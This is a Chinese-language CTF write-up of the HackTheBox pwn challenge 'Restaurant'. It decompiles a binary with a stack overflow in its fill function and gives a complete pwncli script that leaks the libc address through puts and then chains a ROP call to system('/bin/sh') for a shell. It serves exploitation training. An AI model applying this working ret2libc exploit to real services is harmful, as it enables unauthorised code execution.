selph
selph
Published on 2024-05-24 / 130 Visits
0
0

[HTB] pwn - Restaurant

经典的栈溢出基础题

analysis:

checksec:没有Canary和PIE

pwn_restaurant ➤ checksec restaurant                                                                                                                                                                                                                                        
[*] '/mnt/c/Users/selph/Downloads/HTB/pwn/Restaurant/pwn_restaurant/restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

main:给了2个选择,其中选择1,进入fill函数存在可控输入

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  int v14; // [rsp+Ch] [rbp-4h] BYREF

  setup(argc, argv, envp);
  color((unsigned int)&unk_401250, (unsigned int)"cyan", (unsigned int)"bold", v3, v4, v5);
  color((unsigned int)"\nWhat would you like?", (unsigned int)"green", v6, v7, v8, v9);
  printf("\n1. Fill my dish.\n2. Drink something\n> ");
  __isoc99_scanf(&word_401226, &v14);
  if ( v14 == 1 )
  {
    fill();
  }
  else
  {
    if ( v14 != 2 )
    {
      color((unsigned int)"\nInvalid option! Exiting..\n", (unsigned int)"red", (unsigned int)"bold", v10, v11, v12);
      exit(261);
    }
    drink();
  }
  return 0;
}

fill:标准的栈溢出,直接写rop即可

int __fastcall fill(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

  memset(buf, 0, sizeof(buf));
  color(
    (unsigned int)"\nYou can add these ingredients to your dish:",
    (unsigned int)"green",
    (unsigned int)"bold",
    a4,
    a5,
    a6);
  puts(a12);
  color((unsigned int)"You can also order something else.\n> ", (unsigned int)"green", (unsigned int)"bold", v6, v7, v8);
  read(0, buf, 0x400uLL);
  return printf("\nEnjoy your %s", (const char *)buf);
}

exploit:

思路:

  • 第一次栈溢出写rop打印libc地址,然后返回漏洞函数触发第二次栈溢出
  • 第二次栈溢出调用system函数拿shell读取flag
#!/usr/bin/env python3

from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
sla(b"> ",b"1")

rop = ROP(elf)
rop.puts(elf.got.puts)
rop.raw(0x400e4a)
payload = cyclic(0x28) + rop.chain()
sla(b"> ",payload)

ru(cyclic(0x28))
leak = rl()[-7:-1]
libc.address = unpack(leak,'all') - libc.sym.puts
print(hex(libc.address))

rop = ROP([elf,libc])
rop.raw(rop.find_gadget(['ret']))
rop.system(next(libc.search(b"/bin/sh")))
payload = cyclic(0x28) + rop.chain()
sla(b"> ",payload)

ia()

summary:

  • 经典的栈溢出基础题目

Comment